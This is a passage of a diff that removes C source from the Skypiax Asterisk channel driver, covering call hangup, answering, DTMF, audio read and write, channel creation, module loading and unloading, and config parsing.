-       return tmp;
-}
-
-/*! \brief  Hangup skypiax call
- * Part of PBX interface, called from ast_hangup */
-
-int skypiax_hangup(struct ast_channel *c)
-{
-       struct skypiax_pvt *p;
-
-       /* get our skypiax pvt interface from channel */
-       p = c->tech_pvt;
-       /* if there is not skypiax pvt why we are here ? */
-       if (!p) {
-               ERRORA("Asked to hangup channel not connected\n", SKYPIAX_P_LOG);
-               return 0;
-       }
-
-       if (p->skype && p->interface_state != SKYPIAX_STATE_DOWN) {
-               char msg_to_skype[1024];
-               p->interface_state = SKYPIAX_STATE_HANGUP_REQUESTED;
-               DEBUGA_SKYPE("hanging up skype call: %s\n", SKYPIAX_P_LOG, p->skype_call_id);
-               //sprintf(msg_to_skype, "SET CALL %s STATUS FINISHED", p->skype_call_id);
-               sprintf(msg_to_skype, "ALTER CALL %s HANGUP", p->skype_call_id);
-               skypiax_signaling_write(p, msg_to_skype);
-       }
-
-       while (p->interface_state != SKYPIAX_STATE_DOWN) {
-               usleep(10000);
-       }
-       DEBUGA_SKYPE("Now is really DOWN\n", SKYPIAX_P_LOG);
-       /* shutdown the serial monitoring thread */
-       if (p->controldev_thread && (p->controldev_thread != AST_PTHREADT_NULL)
-               && (p->controldev_thread != AST_PTHREADT_STOP)) {
-               if (pthread_cancel(p->controldev_thread)) {
-                       ERRORA("controldev_thread pthread_cancel failed, maybe he killed himself?\n", SKYPIAX_P_LOG);
-               }
-               /* push it, maybe is stuck in a select or so */
-               if (pthread_kill(p->controldev_thread, SIGURG)) {
-                       DEBUGA_SERIAL("controldev_thread pthread_kill failed, no problem\n", SKYPIAX_P_LOG);
-               }
-#ifndef __CYGWIN__                             /* under cygwin, this seems to be not reliable, get stuck at times */
-               /* wait for it to die */
-               if (pthread_join(p->controldev_thread, NULL)) {
-                       ERRORA("controldev_thread pthread_join failed, BAD\n", SKYPIAX_P_LOG);
-               }
-#else /* __CYGWIN__ */
-/* allow the serial thread to die */
-               usleep(300000);                 //300msecs
-#endif /* __CYGWIN__ */
-       }
-       p->controldev_thread = AST_PTHREADT_NULL;
-
-       p->interface_state = SKYPIAX_STATE_DOWN;
-       p->skype_callflow = CALLFLOW_CALL_IDLE;
-
-       DEBUGA_PBX("I'll send AST_CONTROL_HANGUP\n", SKYPIAX_P_LOG);
-       ast_queue_control(p->owner, AST_CONTROL_HANGUP);
-       DEBUGA_PBX("I've sent AST_CONTROL_HANGUP\n", SKYPIAX_P_LOG);
-
-       /* subtract one to the usage count of Skypiax-type channels */
-       LOKKA(&skypiax_usecnt_lock);
-       skypiax_usecnt--;
-       if (skypiax_usecnt < 0)
-               ERRORA("Usecnt < 0???\n", SKYPIAX_P_LOG);
-       UNLOCKA(&skypiax_usecnt_lock);
-       ast_update_use_count();
-
-       /* our skypiax pvt interface is no more part of a channel */
-       p->owner = NULL;
-       /* our channel has no more this skypiax pvt interface to manage */
-       c->tech_pvt = NULL;
-       /* set the channel state to DOWN, eg. available, not in active use */
-       if (ast_setstate(c, SKYPIAX_STATE_DOWN)) {
-               ERRORA("ast_setstate failed, BAD\n", SKYPIAX_P_LOG);
-               return -1;
-       }
-
-       /* restart the monitor thread, so it can recheck which interfaces it have to watch during its loop (the interfaces that are not owned by channels) */
-       if (skypiax_restart_monitor()) {
-               ERRORA("skypiax_restart_monitor failed, BAD\n", SKYPIAX_P_LOG);
-               return -1;
-       }
-
-       return 0;
-}
-
-/*! \brief  Answer incoming call,
- * Part of PBX interface */
-int skypiax_answer(struct ast_channel *c)
-{
-       struct skypiax_pvt *p = c->tech_pvt;
-       int res;
-
-       /* whle ringing, we just wait, the skype thread will answer */
-       while (p->interface_state == SKYPIAX_STATE_RING) {
-               usleep(10000);                  //10msec
-       }
-       if (p->interface_state != SKYPIAX_STATE_UP) {
-               ERRORA("call answering failed, we want it to be into interface_state=%d, got %d\n", SKYPIAX_P_LOG, SKYPIAX_STATE_UP, p->interface_state);
-               res = -1;
-       } else {
-               DEBUGA_PBX("call answered\n", SKYPIAX_P_LOG);
-               res = 0;
-       }
-       return res;
-}
-
-#ifdef ASTERISK_VERSION_1_4
-int skypiax_digitsend_begin(struct ast_channel *c, char digit)
-{
-       struct skypiax_pvt *p = c->tech_pvt;
-
-       DEBUGA_PBX("DIGIT BEGIN received: %c\n", SKYPIAX_P_LOG, digit);
-
-       return 0;
-}
-
-int skypiax_digitsend_end(struct ast_channel *c, char digit, unsigned int duration)
-{
-       struct skypiax_pvt *p = c->tech_pvt;
-       char msg_to_skype[1024];
-
-       NOTICA("DIGIT END received: %c %d\n", SKYPIAX_P_LOG, digit, duration);
-
-       sprintf(msg_to_skype, "SET CALL %s DTMF %c", p->skype_call_id, digit);
-
-       skypiax_signaling_write(p, msg_to_skype);
-
-       return 0;
-}
-#else /* ASTERISK_VERSION_1_4 */
-int skypiax_digitsend(struct ast_channel *c, char digit)
-{
-       struct skypiax_pvt *p = c->tech_pvt;
-       char msg_to_skype[1024];
-
-       NOTICA("DIGIT received: %c\n", SKYPIAX_P_LOG, digit);
-
-       sprintf(msg_to_skype, "SET CALL %s DTMF %c", p->skype_call_id, digit);
-
-       skypiax_signaling_write(p, msg_to_skype);
-
-       return 0;
-}
-
-#endif /* ASTERISK_VERSION_1_4 */
-//struct ast_frame *skypiax_audio_read(struct skypiax_pvt *p)
-//#define SAMPLES_PER_FRAME 160
-/*! \brief Read audio frames from channel */
-struct ast_frame *skypiax_read(struct ast_channel *c)
-{
-       struct skypiax_pvt *p = c->tech_pvt;
-       static struct ast_frame f;
-       static short __buf[SKYPIAX_FRAME_SIZE + AST_FRIENDLY_OFFSET / 2];
-       short *buf;
-       int samples;
-
-/* if there are control frames queued to be sent by skypiax_queue_control, send it the first */
-//TODO maybe better a real queue?
-       if (p && p->owner && p->control_to_send) {
-               ast_queue_control(p->owner, p->control_to_send);
-               DEBUGA_PBX("Sent CONTROL FRAME %d\n", SKYPIAX_P_LOG, p->control_to_send);
-               p->control_to_send = 0;
-       }
-
-       memset(__buf, '\0', (SKYPIAX_FRAME_SIZE + AST_FRIENDLY_OFFSET / 2));
-
-       buf = __buf + AST_FRIENDLY_OFFSET / 2;
-
-       f.frametype = AST_FRAME_NULL;
-       f.subclass = 0;
-       f.samples = 0;
-       f.datalen = 0;
-       f.data = NULL;
-       f.offset = 0;
-       f.src = skypiax_type;
-       f.mallocd = 0;
-       f.delivery.tv_sec = 0;
-       f.delivery.tv_usec = 0;
-
-/* if the call is not active (ie: answered), do not send audio frames, they would pile up in a lag queue */
-       if (p->owner && p->owner->_state != SKYPIAX_STATE_UP) {
-               return &f;
-       }
-
-       if ((samples = read(p->audiopipe[0], buf, SAMPLES_PER_FRAME * sizeof(short))) != 320) {
-               DEBUGA_SOUND("read=====> NOT GOOD samples=%d expected=%d\n", SKYPIAX_P_LOG, samples, SAMPLES_PER_FRAME * sizeof(short));
-               usleep(100);
-               //do nothing
-       } else {
-               //DEBUGA_SOUND("read=====> GOOD samples=%d\n", SKYPIAX_P_LOG, samples);
-               /* A real frame */
-               f.frametype = AST_FRAME_VOICE;
-               f.subclass = AST_FORMAT_SLINEAR;
-               f.samples = SKYPIAX_FRAME_SIZE;
-               f.datalen = SKYPIAX_FRAME_SIZE * 2;
-               f.data = buf;
-               f.offset = AST_FRIENDLY_OFFSET;
-               f.src = skypiax_type;
-               f.mallocd = 0;
-
-               if (p->capture_boost)
-                       skypiax_sound_boost(&f, p->capture_boost);
-       }
-
-       return &f;
-}
-
-/*! \brief Initiate skypiax call from PBX 
- * used from the dial() application
- */
-int skypiax_originate_call(struct ast_channel *c, char *idest, int timeout)
-{
-       struct skypiax_pvt *p = NULL;
-       p = c->tech_pvt;
-       char rdest[80], *where, dstr[100] = "";
-       char *stringp = NULL;
-       int status;
-
-       if ((c->_state != SKYPIAX_STATE_DOWN)
-               && (c->_state != SKYPIAX_STATE_RESERVED)) {
-               ERRORA("skypiax_originate_call called on %s, neither down nor reserved\n", SKYPIAX_P_LOG, c->name);
-               return -1;
-       }
-
-       DEBUGA_PBX("skypiax_originate_call to call idest: %s, timeout: %d!\n", SKYPIAX_P_LOG, idest, timeout);
-
-       strncpy(rdest, idest, sizeof(rdest) - 1);
-       stringp = rdest;
-       strsep(&stringp, "/");
-       where = strsep(&stringp, "/");
-       if (!where) {
-               ERRORA("Destination %s requires an actual destination (Skypiax/device/destination)\n", SKYPIAX_P_LOG, idest);
-               return -1;
-       }
-
-       strncpy(dstr, where + p->stripmsd, sizeof(dstr) - 1);
-       DEBUGA_PBX("skypiax_originate_call dialing idest: %s, timeout: %d, dstr: %s!\n", SKYPIAX_P_LOG, idest, timeout, dstr);
-
-       strcpy(p->session_uuid_str, "dialing");
-       status = skypiax_call(p, dstr, timeout);
-       if (status) {
-               WARNINGA("skypiax_originate_call dialing failed: %d!\n", SKYPIAX_P_LOG, status);
-               return -1;
-       }
-
-       DEBUGA_PBX("skypiax_originate_call dialed idest: %s, timeout: %d, dstr: %s!\n", SKYPIAX_P_LOG, idest, timeout, dstr);
-
-       ast_setstate(p->owner, SKYPIAX_STATE_DIALING);
-       return 0;
-}
-
-int skypiax_sound_boost(struct ast_frame *f, double boost)
-{
-/* LUIGI RIZZO's magic */
-       if (boost != 0) {                       /* scale and clip values */
-               int i, x;
-               int16_t *ptr = (int16_t *) f->data;
-               for (i = 0; i < f->samples; i++) {
-                       x = (ptr[i] * boost) / BOOST_SCALE;
-                       if (x > 32767) {
-                               x = 32767;
-                       } else if (x < -32768) {
-                               x = -32768;
-                       }
-                       ptr[i] = x;
-               }
-       }
-       return 0;
-}
-
-/*! \brief Send audio frame to channel */
-int skypiax_write(struct ast_channel *c, struct ast_frame *f)
-{
-       struct skypiax_pvt *p = c->tech_pvt;
-       int sent;
-
-       if (p->owner && p->owner->_state != SKYPIAX_STATE_UP) {
-               return 0;
-       }
-       if (p->playback_boost)
-               skypiax_sound_boost(f, p->playback_boost);
-
-       sent = write(p->audioskypepipe[1], (short *) f->data, f->datalen);
-       //skypiax_sound_write(p, f);
-
-       return 0;
-}
-
-/*! \brief  Fix up a channel:  If a channel is consumed, this is called.
- * Basically update any ->owner links */
-int skypiax_fixup(struct ast_channel *oldchan, struct ast_channel *newchan)
-{
-       struct skypiax_pvt *p = newchan->tech_pvt;
-
-       if (!p) {
-               ERRORA("No pvt after masquerade. Strange things may happen\n", SKYPIAX_P_LOG);
-               return -1;
-       }
-
-       if (p->owner != oldchan) {
-               ERRORA("old channel wasn't %p but was %p\n", SKYPIAX_P_LOG, oldchan, p->owner);
-               return -1;
-       }
-
-       p->owner = newchan;
-       return 0;
-}
-
-struct ast_channel *skypiax_new(struct skypiax_pvt *p, int state, char *context)
-{
-       struct ast_channel *tmp;
-
-       /* alloc a generic channel struct */
-#ifndef ASTERISK_VERSION_1_4
-       tmp = ast_channel_alloc(1);
-#else
-       //tmp = ast_channel_alloc(1, state, 0, 0, "", p->exten, p->context, 0, "");
-       //tmp = ast_channel_alloc(1, state, i->cid_num, i->cid_name, i->accountcode, i->exten, i->context, i->amaflags, "Skypiax/%s", p->name);
-       tmp = ast_channel_alloc(1, state, 0, 0, "", p->exten, p->context, 0, "Skypiax/%s", p->name);
-
-#endif /* ASTERISK_VERSION_1_4 */
-       if (tmp) {
-
-               /* give a name to the newly created channel */
-#ifndef ASTERISK_VERSION_1_4
-               snprintf(tmp->name, sizeof(tmp->name), "Skypiax/%s", p->name);
-               tmp->type = skypiax_type;
-#else /* ASTERISK_VERSION_1_4 */
-               ast_string_field_build(tmp, name, "Skypiax/%s", p->name);
-#endif /* ASTERISK_VERSION_1_4 */
-
-               DEBUGA_PBX("new channel: name=%s requested_state=%d\n", SKYPIAX_P_LOG, tmp->name, state);
-
-               /* fd for the channel to poll for incoming audio */
-               tmp->fds[0] = p->skypiax_sound_capt_fd;
-
-               /* audio formats managed */
-               tmp->nativeformats = AST_FORMAT_SLINEAR;
-               tmp->readformat = AST_FORMAT_SLINEAR;
-               tmp->writeformat = AST_FORMAT_SLINEAR;
-               /* the technology description (eg. the interface type) of the newly created channel is the Skypiax's one */
-               tmp->tech = &skypiax_tech;
-               /* the technology pvt (eg. the interface) of the newly created channel is this interface pvt */
-               tmp->tech_pvt = p;
-
-               /* copy this interface default context, extension, language to the newly created channel */
-               if (strlen(p->context))
-                       strncpy(tmp->context, p->context, sizeof(tmp->context) - 1);
-               if (strlen(p->exten))
-                       strncpy(tmp->exten, p->exten, sizeof(tmp->exten) - 1);
-#ifndef ASTERISK_VERSION_1_4
-               if (strlen(p->language))
-                       strncpy(tmp->language, p->language, sizeof(tmp->language) - 1);
-#else
-               if (strlen(p->language))
-                       ast_string_field_set(tmp, language, p->language);
-#endif /* ASTERISK_VERSION_1_4 */
-               /* copy the requested context (not necessarily the interface default) to the newly created channel */
-               if (strlen(context))
-                       strncpy(tmp->context, context, sizeof(tmp->context) - 1);
-
-               /* copy this interface default callerid in the newly created channel */
-               ast_set_callerid(tmp, !ast_strlen_zero(p->callid_number) ? p->callid_number : NULL,
-                                                !ast_strlen_zero(p->callid_name) ? p->callid_name : NULL, !ast_strlen_zero(p->callid_number) ? p->callid_number : NULL);
-
-               DEBUGA_PBX("callid_number=%s, callid_name=%s\n", SKYPIAX_P_LOG, p->callid_number, p->callid_name);
-
-               /* the owner of this interface pvt is the newly created channel */
-               p->owner = tmp;
-               /* set the newly created channel state to the requested state */
-               if (ast_setstate(tmp, state)) {
-                       ERRORA("ast_setstate failed, BAD\n", SKYPIAX_P_LOG);
-                       //ast_dsp_free(p->dsp);
-                       ast_channel_free(tmp);
-                       return NULL;
-               }
-               /* if the requested state is different from DOWN, let the pbx manage this interface (now part of the newly created channel) */
-               if (state != SKYPIAX_STATE_DOWN) {
-                       DEBUGA_PBX("Try to start PBX on %s, state=%d\n", SKYPIAX_P_LOG, tmp->name, state);
-                       if (ast_pbx_start(tmp)) {
-                               ERRORA("Unable to start PBX on %s\n", SKYPIAX_P_LOG, tmp->name);
-                               ast_channel_free(tmp);
-                               return NULL;
-                       }
-               }
-               /* let's start the serial monitoring thread too, so we can have serial signaling */
-               if (ast_pthread_create(&p->controldev_thread, NULL, skypiax_do_controldev_thread, p) < 0) {
-                       ERRORA("Unable to start controldev thread.\n", SKYPIAX_P_LOG);
-                       ast_channel_free(tmp);
-                       tmp = NULL;
-               }
-               DEBUGA_SERIAL("STARTED controldev_thread=%lu STOP=%lu NULL=%lu\n", SKYPIAX_P_LOG,
-                                         (unsigned long) p->controldev_thread, (unsigned long) AST_PTHREADT_STOP, (unsigned long) AST_PTHREADT_NULL);
-
-               /* add one to the usage count of Skypiax-type channels */
-               LOKKA(&skypiax_usecnt_lock);
-               skypiax_usecnt++;
-               UNLOCKA(&skypiax_usecnt_lock);
-               ast_update_use_count();
-
-               /* return the newly created channel */
-               return tmp;
-       }
-       ERRORA("failed memory allocation for Skypiax channel\n", SKYPIAX_P_LOG);
-       return NULL;
-}
-
-/*!
- * \brief Load the module into Asterisk and start its threads
- *
- * This function register the module into Asterisk,
- * create the interfaces for the channels, 
- * start the auxiliary threads for the interfaces,
- * then start a monitor thread. The monitor thread
- * will signal Asterisk when an interface receive a call.
- *
- *
- * \return zero on success, -1 on error.
- */
-int load_module(void)
-{
-       int i;
-       struct ast_config *cfg;
-       struct skypiax_pvt *tmp;
-       struct skypiax_pvt *p = NULL;
-       struct skypiax_pvt *p2 = NULL;
-#ifdef ASTERISK_VERSION_1_6
-       struct ast_flags config_flags = { 0 };
-#endif /* ASTERISK_VERSION_1_6 */
-
-#if defined(WANT_SKYPE_X11) || defined(__CYGWIN__)
-#ifndef __CYGWIN__
-       if (!XInitThreads())
-               ast_log(LOG_ERROR, "Not initialized XInitThreads!\n");
-#endif /* __CYGWIN__ */
-#if 0
-       ast_register_atexit(skypiax_disconnect);
-       ast_register_application(skype2skypiaxapp, skype2skypiax, skype2skypiaxsynopsis, skype2skypiaxdescrip);
-       ast_register_application(skypiax2skypeapp, skypiax2skype, skypiax2skypesynopsis, skypiax2skypedescrip);
-#endif
-#endif /* defined(WANT_SKYPE_X11) || defined(__CYGWIN__) */
-
-       /* make sure we can register our channel type with Asterisk */
-       i = ast_channel_register(&skypiax_tech);
-       if (i < 0) {
-               ERRORA("Unable to register channel type '%s'\n", SKYPIAX_P_LOG, skypiax_type);
-               return -1;
-       }
-       /* load skypiax.conf config file */
-#ifdef ASTERISK_VERSION_1_6
-       cfg = ast_config_load(skypiax_config, config_flags);
-#else
-       cfg = ast_config_load(skypiax_config);
-#endif /* ASTERISK_VERSION_1_6 */
-       if (cfg != NULL) {
-               char *ctg = NULL;
-               int is_first_category = 1;
-               while ((ctg = ast_category_browse(cfg, ctg)) != NULL) {
-                       /* create one interface for each category in skypiax.conf config file, first one set the defaults */
-                       tmp = skypiax_mkif(cfg, ctg, is_first_category);
-                       if (tmp) {
-                               DEBUGA_PBX("Created channel Skypiax: skypiax.conf category '[%s]', channel name '%s'" "\n", SKYPIAX_P_LOG, ctg, tmp->name);
-                               /* add interface to skypiax_iflist */
-                               tmp->next = skypiax_iflist;
-                               skypiax_iflist = tmp;
-                               /* next one will not be the first ;) */
-                               if (is_first_category == 1) {
-                                       is_first_category = 0;
-                                       skypiax_console_active = tmp->name;
-                               }
-                       } else {
-                               ERRORA("Unable to create channel Skypiax from skypiax.conf category '[%s]'\n", SKYPIAX_P_LOG, ctg);
-                               /* if error, unload config from memory and return */
-                               ast_config_destroy(cfg);
-                               ast_channel_unregister(&skypiax_tech);
-                               return -1;
-                       }
-                       /* do it for each category described in config */
-               }
-
-               /* we finished, unload config from memory */
-               ast_config_destroy(cfg);
-       } else {
-               ERRORA("Unable to load skypiax_config skypiax.conf\n", SKYPIAX_P_LOG);
-               ast_channel_unregister(&skypiax_tech);
-               return -1;
-       }
-#ifndef ASTERISK_VERSION_1_6
-       ast_cli_register_multiple(myclis, sizeof(myclis) / sizeof(struct ast_cli_entry));
-#endif /* ASTERISK_VERSION_1_6 */
-       /* start to monitor the interfaces (skypiax_iflist) for the first time */
-       if (skypiax_restart_monitor()) {
-               ERRORA("skypiax_restart_monitor failed, BAD\n", SKYPIAX_P_LOG);
-               return -1;
-       }
-       /* go through the interfaces list (skypiax_iflist) WITHOUT locking */
-       p = skypiax_iflist;
-       while (p) {
-               int i;
-               /* for each interface in list */
-               p2 = p->next;
-               NOTICA("STARTING interface %s, please be patient\n", SKYPIAX_P_LOG, p->name);
-               i = 0;
-               while (p->SkypiaxHandles.api_connected == 0 && running && i < 60000) {  // 60sec FIXME
-                       usleep(1000);
-                       i++;
-               }
-               if (p->SkypiaxHandles.api_connected) {
-                       NOTICA("STARTED interface %s\n", SKYPIAX_P_LOG, p->name);
-               } else {
-                       ERRORA("Interface %s FAILED to start\n", SKYPIAX_P_LOG, p->name);
-                       running = 0;
-                       return -1;
-               }
-               /* next one, please */
-               p = p2;
-       }
-       return 0;
-}
-
-/*!
- * \brief Unload the module from Asterisk and shutdown its threads
- *
- * This function unregister the module from Asterisk,
- * destroy the interfaces for the channels, 
- * shutdown the auxiliary threads for the interfaces,
- * then shutdown its monitor thread.
- *
- * \return zero on success, -1 on error.
- */
-int unload_module(void)
-{
-       struct skypiax_pvt *p = NULL, *p2 = NULL;
-       int res;
-
-       /* unregister our channel type with Asterisk */
-       ast_channel_unregister(&skypiax_tech);
-       ast_cli_unregister_multiple(myclis, sizeof(myclis) / sizeof(struct ast_cli_entry));
-
-#if defined(WANT_SKYPE_X11) || defined(__CYGWIN__)
-#ifndef __CYGWIN__
-       //FIXME what to do? if (!XInitThreads())
-       //FIXME what to do? ast_log(LOG_ERROR, "Not initialized XInitThreads!\n");
-#endif /* __CYGWIN__ */
-#if 0
-       ast_unregister_atexit(skypiax_disconnect);
-       ast_unregister_application(skype2skypiaxapp);
-       ast_unregister_application(skypiax2skypeapp);
-#endif
-#endif /* defined(WANT_SKYPE_X11) || defined(__CYGWIN__) */
-
-       /* lock the skypiax_monlock, kill the monitor thread, unlock the skypiax_monlock */
-       LOKKA(&skypiax_monlock);
-       if (skypiax_monitor_thread && (skypiax_monitor_thread != AST_PTHREADT_NULL)
-               && (skypiax_monitor_thread != AST_PTHREADT_STOP)) {
-               if (pthread_cancel(skypiax_monitor_thread)) {
-                       ERRORA("pthread_cancel failed, BAD\n", SKYPIAX_P_LOG);
-                       return -1;
-               }
-               if (pthread_kill(skypiax_monitor_thread, SIGURG)) {
-                       DEBUGA_PBX("pthread_kill failed\n", SKYPIAX_P_LOG);     //maybe it just died
-               }
-#ifndef __CYGWIN__                             /* under cygwin, this seems to be not reliable, get stuck at times */
-               if (pthread_join(skypiax_monitor_thread, NULL)) {
-                       ERRORA("pthread_join failed, BAD\n", SKYPIAX_P_LOG);
-                       return -1;
-               }
-#endif /* __CYGWIN__ */
-       }
-       skypiax_monitor_thread = AST_PTHREADT_STOP;
-       UNLOCKA(&skypiax_monlock);
-
-       if (skypiax_monitor_audio_thread && (skypiax_monitor_audio_thread != AST_PTHREADT_NULL)
-               && (skypiax_monitor_audio_thread != AST_PTHREADT_STOP)) {
-
-               if (pthread_cancel(skypiax_monitor_audio_thread)) {
-                       ERRORA("pthread_cancel skypiax_monitor_audio_thread failed, BAD\n", SKYPIAX_P_LOG);
-               }
-               if (pthread_kill(skypiax_monitor_audio_thread, SIGURG)) {
-                       DEBUGA_PBX("pthread_kill skypiax_monitor_audio_thread failed, no problem\n", SKYPIAX_P_LOG);    //maybe it just died
-               }
-
-               if (pthread_join(skypiax_monitor_audio_thread, NULL)) {
-                       ERRORA("pthread_join failed, BAD\n", SKYPIAX_P_LOG);
-               }
-       }
-       /* lock the skypiax_iflock, and go through the interfaces list (skypiax_iflist) */
-       LOKKA(&skypiax_iflock);
-       p = skypiax_iflist;
-       while (p) {
-               /* for each interface in list */
-               p2 = p->next;
-               /* shutdown the sound system, close sound fds, and if exist shutdown the sound managing threads */
-               DEBUGA_SOUND("shutting down sound\n", SKYPIAX_P_LOG);
-               res = skypiax_sound_shutdown(p);
-               if (res == -1) {
-                       ERRORA("Failed to shutdown sound\n", SKYPIAX_P_LOG);
-               }
-#if 0
-               /* if a dsp struct has been allocated, free it */
-               if (p->dsp) {
-                       ast_dsp_free(p->dsp);
-                       p->dsp = NULL;
-               }
-#endif
-               DEBUGA_PBX("freeing PVT\n", SKYPIAX_P_LOG);
-               /* free the pvt allocated memory */
-               free(p);
-               /* next one, please */
-               p = p2;
-       }
-       /* finished with the interfaces list, unlock the skypiax_iflock */
-       UNLOCKA(&skypiax_iflock);
-
-#ifdef __CYGWIN__
-       NOTICA("Sleping 5 secs, please wait...\n", SKYPIAX_P_LOG);
-       sleep(5);                                       /* without this pause, for some unknown (to me) reason it crashes on cygwin */
-#endif /* __CYGWIN__ */
-       NOTICA("Unloaded Skypiax Module\n", SKYPIAX_P_LOG);
-       return 0;
-}
-
-/*!
- * \brief Return the count of active channels for this module
- *
- * \return the count of active channels for this module
- */
-int usecount()
-{
-       int res;
-       static struct skypiax_pvt *p = &skypiax_log_struct;
-/* lock the skypiax_usecnt lock */
-       LOKKA(&skypiax_usecnt_lock);
-       /* retrieve the skypiax_usecnt */
-       res = skypiax_usecnt;
-/* unlock the skypiax_usecnt lock */
-       UNLOCKA(&skypiax_usecnt_lock);
-       /* return the skypiax_usecnt */
-       return res;
-}
-
-/*!
- * \brief Return the textual description of the module
- *
- * \return the textual description of the module
- */
-char *description()
-{
-       return (char *) skypiax_desc;
-}
-
-/*!
- * \brief Return the ASTERISK_GPL_KEY
- *
- * \return the ASTERISK_GPL_KEY
- */
-char *key()
-{
-       struct skypiax_pvt *p = NULL;
-
-       NOTICA("Returning Key\n", SKYPIAX_P_LOG);
-
-       return ASTERISK_GPL_KEY;
-}
-
-/*!
- * \brief Create and initialize one interface for the module
- * \param cfg pointer to configuration data from skypiax.conf
- * \param ctg pointer to a category name to be found in cfg
- * \param is_first_category is this the first category in cfg
- *
- * This function create and initialize one interface for the module
- *
- * \return a pointer to the PVT structure of interface on success, NULL on error.
- */
-struct skypiax_pvt *skypiax_mkif(struct ast_config *cfg, char *ctg, int is_first_category)
-{
-       struct skypiax_pvt *tmp;
-       struct ast_variable *v;
-       int res;
-
-       int debug_all = 0;
-       int debug_at = 0;
-       int debug_fbus2 = 0;
-       int debug_serial = 0;
-       int debug_sound = 0;
-       int debug_pbx = 0;
-       int debug_skype = 0;
-       int debug_call = 0;
-       int debug_locks = 0;
-       int debug_monitorlocks = 0;
-
-       ast_log(LOG_DEBUG, "ENTERING FUNC\n");
-       /* alloc memory for PVT */
-       tmp = malloc(sizeof(struct skypiax_pvt));
-       if (tmp == NULL) {                      /* fail */
-               return NULL;
-       }
-       /* clear memory for PVT */
-       memset(tmp, 0, sizeof(struct skypiax_pvt));
-
-       /* if we are reading the "first" category of the config file, take SELECTED values as defaults, overriding the values in skypiax_default */
-       if (is_first_category == 1) {
-               /* for each variable in category, copy it in the skypiax_default struct */
-               for (v = ast_variable_browse(cfg, ctg); v; v = v->next) {
-                       M_START(v->name, v->value);
-
-                       M_STR("context", skypiax_default.context)
-                               M_STR("language", skypiax_default.language)
-                               M_STR("extension", skypiax_default.exten)
-                               M_F("playback_boost", skypiax_store_boost(v->value, &skypiax_default.playback_boost))
-                               M_F("capture_boost", skypiax_store_boost(v->value, &skypiax_default.capture_boost))
-                               M_UINT("skypiax_dir_entry_extension_prefix", skypiax_default.skypiax_dir_entry_extension_prefix)
-                               M_END(;
-                               );
-               }
-       }
-
-       /* initialize the newly created PVT from the skypiax_default values */
-       *tmp = skypiax_default;
-
-       /* the category name becomes the interface name */
-       tmp->name = strdup(ctg);
-
-       /* for each category in config file, "first" included, read in ALL the values */
-       for (v = ast_variable_browse(cfg, ctg); v; v = v->next) {
-               M_START(v->name, v->value);
-
-               M_BOOL("debug_all", debug_all)
-                       M_BOOL("debug_at", debug_at)
-                       M_BOOL("debug_fbus2", debug_fbus2)
-                       M_BOOL("debug_serial", debug_serial)
-                       M_BOOL("debug_sound", debug_sound)
-                       M_BOOL("debug_pbx", debug_pbx)
-                       M_BOOL("debug_skype", debug_skype)
-                       M_BOOL("debug_call", debug_call)
-                       M_BOOL("debug_locks", debug_locks)
-                       M_BOOL("debug_monitorlocks", debug_monitorlocks)
-                       M_BOOL("skype", tmp->skype)
-                       M_STR("context", tmp->context)
-                       M_STR("language", tmp->language)
-                       M_STR("extension", tmp->exten)
-                       M_STR("X11_display", tmp->X11_display)
-                       M_UINT("tcp_cli_port", tmp->tcp_cli_port)
-                       M_UINT("tcp_srv_port", tmp->tcp_srv_port)
-                       M_F("playback_boost", skypiax_store_boost(v->value, &tmp->playback_boost))
-                       M_F("capture_boost", skypiax_store_boost(v->value, &tmp->capture_boost))
-                       M_STR("skype_user", tmp->skype_user)
-                       M_UINT("skypiax_dir_entry_extension_prefix", tmp->skypiax_dir_entry_extension_prefix)
-                       M_END(;
-                       );
-       }
-
-       if (debug_all) {
-               skypiax_debug = skypiax_debug | DEBUG_ALL;
-               if (!option_debug) {
-                       WARNINGA
-                               ("DEBUG_ALL activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_ALL debugging output.\n",
-                                SKYPIAX_TMP_LOG);
-               } else {
-                       NOTICA("DEBUG_ALL activated. \n", SKYPIAX_TMP_LOG);
-               }
-       }
-
-       if (debug_fbus2) {
-               skypiax_debug = skypiax_debug | DEBUG_FBUS2;
-               if (!option_debug) {
-                       WARNINGA
-                               ("DEBUG_FBUS2 activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_FBUS2 debugging output.\n",
-                                SKYPIAX_TMP_LOG);
-               } else {
-                       NOTICA("DEBUG_FBUS2 activated. \n", SKYPIAX_TMP_LOG);
-               }
-       }
-
-       if (debug_serial) {
-               skypiax_debug = skypiax_debug | DEBUG_SERIAL;
-               if (!option_debug) {
-                       WARNINGA
-                               ("DEBUG_SERIAL activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_SERIAL debugging output.\n",
-                                SKYPIAX_TMP_LOG);
-               } else {
-                       NOTICA("DEBUG_SERIAL activated. \n", SKYPIAX_TMP_LOG);
-               }
-       }
-
-       if (debug_sound) {
-               skypiax_debug = skypiax_debug | DEBUG_SOUND;
-               if (!option_debug) {
-                       WARNINGA
-                               ("DEBUG_SOUND activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_SOUND debugging output.\n",
-                                SKYPIAX_TMP_LOG);
-               } else {
-                       NOTICA("DEBUG_SOUND activated. \n", SKYPIAX_TMP_LOG);
-               }
-       }
-
-       if (debug_pbx) {
-               skypiax_debug = skypiax_debug | DEBUG_PBX;
-               if (!option_debug) {
-                       WARNINGA
-                               ("DEBUG_PBX activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_PBX debugging output.\n",
-                                SKYPIAX_TMP_LOG);
-               } else {
-                       NOTICA("DEBUG_PBX activated. \n", SKYPIAX_TMP_LOG);
-               }
-       }
-
-       if (debug_skype) {
-               skypiax_debug = skypiax_debug | DEBUG_SKYPE;
-               if (!option_debug) {
-                       WARNINGA
-                               ("DEBUG_SKYPE activated, but option_debug is 0. You have to set debug level higher than zero to see some debugging output. Please use the command \"set debug 10\" or start Asterisk with \"-dddddddddd\" option for full DEBUG_SKYPE debugging output.\n",
-                                SKYPIAX_TMP_LOG);
-               } else {
